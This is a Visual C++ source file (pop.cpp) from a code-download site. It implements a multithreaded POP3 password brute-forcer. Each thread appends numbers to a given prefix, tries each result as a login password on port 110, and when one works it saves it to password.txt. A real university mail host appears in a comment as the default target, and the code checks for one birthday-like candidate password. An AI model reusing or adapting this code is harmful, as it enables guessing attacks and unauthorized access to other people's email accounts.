⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 pop.cpp

📁 visual c++ 实例编程
💻 CPP
字号:
#include "stdafx.h" 
#include "POP.h" 
#include "afxsock.h"
#include "afx.h"
#include"pop3.h"
#include "stdlib.h"
#include"pop3Dlg.h"

#ifdef _DEBUG 
#define new DEBUG_NEW 
#undef THIS_FILE 
static char THIS_FILE[] = __FILE__; 
#endif 

//////////////////////////////////////////////////////////////////// 
// CPOP Class 
////////////////////////////////////////////////////////////////////// 

////////////////////////////////////////////////////////////////////// 
// Construction/Destruction 
////////////////////////////////////////////////////////////////////// 

CPOP::CPOP() 
{ 
m_Server.Create();
} 

CPOP::~CPOP() 
{ 
m_Server.Close(); 
} 

BOOL CPOP::Connect(CString & Host, CString & User, CString & Password) 
{ 
char buf [512]; 
if (!m_Server.Connect(Host,110)) // 110 Pop3 Port 
{ 
	AfxMessageBox("密码:"+Password+" 连接到邮件服务器port:110时失败");
	extern long gmyTotalError;
	extern CString gmyTotalErrorPwd[20];
	gmyTotalErrorPwd[gmyTotalError]=Password;
	gmyTotalError++;
	if(gmyTotalError>=20)
	{
		AfxMessageBox("总错误次数超过20次,将退出!");
	    char* pFileName = "ErrorConRecord.txt";
		CStdioFile myRecordError( pFileName, CFile::modeCreate | CFile::modeWrite );
        for (long i=0;i<20;i++)
		myRecordError.WriteString(gmyTotalErrorPwd[i]+" ");
		myRecordError.Close();
		exit(26);
	}
	return FALSE;
} 
else 
{ 
	if(Check(CHECK_CONNECTION)==FALSE) 
	{
		AfxMessageBox("连接到邮件服务器失败");
        //exit(27);
		return FALSE;
	}
	wsprintf (buf, "USER %s\r\n", (LPCSTR) User); 
    m_Server.Send(buf, strlen (buf)); 
    if(Check(CHECK_USER)==FALSE) 
	{
	AfxMessageBox("错误的用户名");
	//exit(28);
	return FALSE;
	}
	wsprintf (buf, "PASS %s\r\n", (LPCSTR) Password); 
	m_Server.Send(buf, strlen (buf)); 
    if (Check(CHECK_PASSWORD)==FALSE) 
	{
	   return FALSE; 
	}	
	return TRUE; 
} 
} 

// end the function.

BOOL CPOP::Connect()
{ 
Connect(m_Host, m_User, m_Password); 
return TRUE; 
} 

UINT CPOP::ThreadFunc(LPVOID ThreadArg)
{
	long begindata;
	begindata=*(long *)ThreadArg;
	extern long interval;
	for(long i=begindata;i<begindata+interval;i++)
	{
	  char s[8],*temp=NULL;
      temp=ltoa(i,s,10);

	  //constructor a PopServer
	  CPOP *PopServer=new CPOP;

      extern CString gmyInputAddress;
	  CString myHost=gmyInputAddress;//"ggdn.gdut.edu.cn";//

	  extern CString gInputUser;
	  CString myUser=gInputUser;

	  //字母连接数字
	  extern CString myHelpUser;
	  CString myStoreHelpUser=myHelpUser;
      myStoreHelpUser.Insert(myStoreHelpUser.GetLength(),(CString &)temp);
	  
	  if(myStoreHelpUser=="19790630")
		  AfxMessageBox("find 19790630");

	  //如果总的长度超过100,则清空
	   extern CString gmyAllPwd; 
	   if(gmyAllPwd.GetLength()>1000)
		   gmyAllPwd="";
		gmyAllPwd=gmyAllPwd+myStoreHelpUser+" ";
  
	  //计算总试探次数:
	  extern long gmyTotalNum;
	  gmyTotalNum++;  
															   //(CString &)						
	 if(PopServer->Connect(myHost,myUser,myStoreHelpUser)==TRUE)
	 {
		PopServer->Close();
		delete PopServer;
		try
			{
			   CString myargs;
			   char* pFileName = "password.txt";
			   CStdioFile f( pFileName, CFile::modeCreate | CFile::modeWrite );
               myargs.Format("在这个线程:%ld 中找到了密码:",begindata);
			   f.WriteString(myargs);
			   f.WriteString(temp);
			   f.Close();
			}
		catch( CFileException e )
		{
			AfxMessageBox("Create file:password.txt error!");
		}
		exit(1); 
		 //
		}
		else
		{	
			PopServer->Close();
			delete PopServer;
			continue;
		};
	}
	return 0;
}
//END THE IMPLEMENT

BOOL CPOP::Check(int Checktype) 
{ 
	char buf [1024]=""; 
	for (int i=0;i<512;i++) 
	buf[i]='\0'; 
	m_Server.Receive(buf, sizeof(buf)); 
	switch (Checktype) 
	{ 
	case CHECK_CONNECTION: 
		if (strnicmp(buf,"-ERR", 4) == 0) 
		{ 
			return FALSE; 
		} 
		break; 
	case CHECK_USER: 
		if (strnicmp(buf,"-ERR", 4) == 0) 
		{ 
			return FALSE; 
		} 
		break; 
	case CHECK_PASSWORD: 
		if (strnicmp(buf,"-ERR", 4) == 0) 
		{ 
			return FALSE;
		} 
		break;  
	}
	return TRUE;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -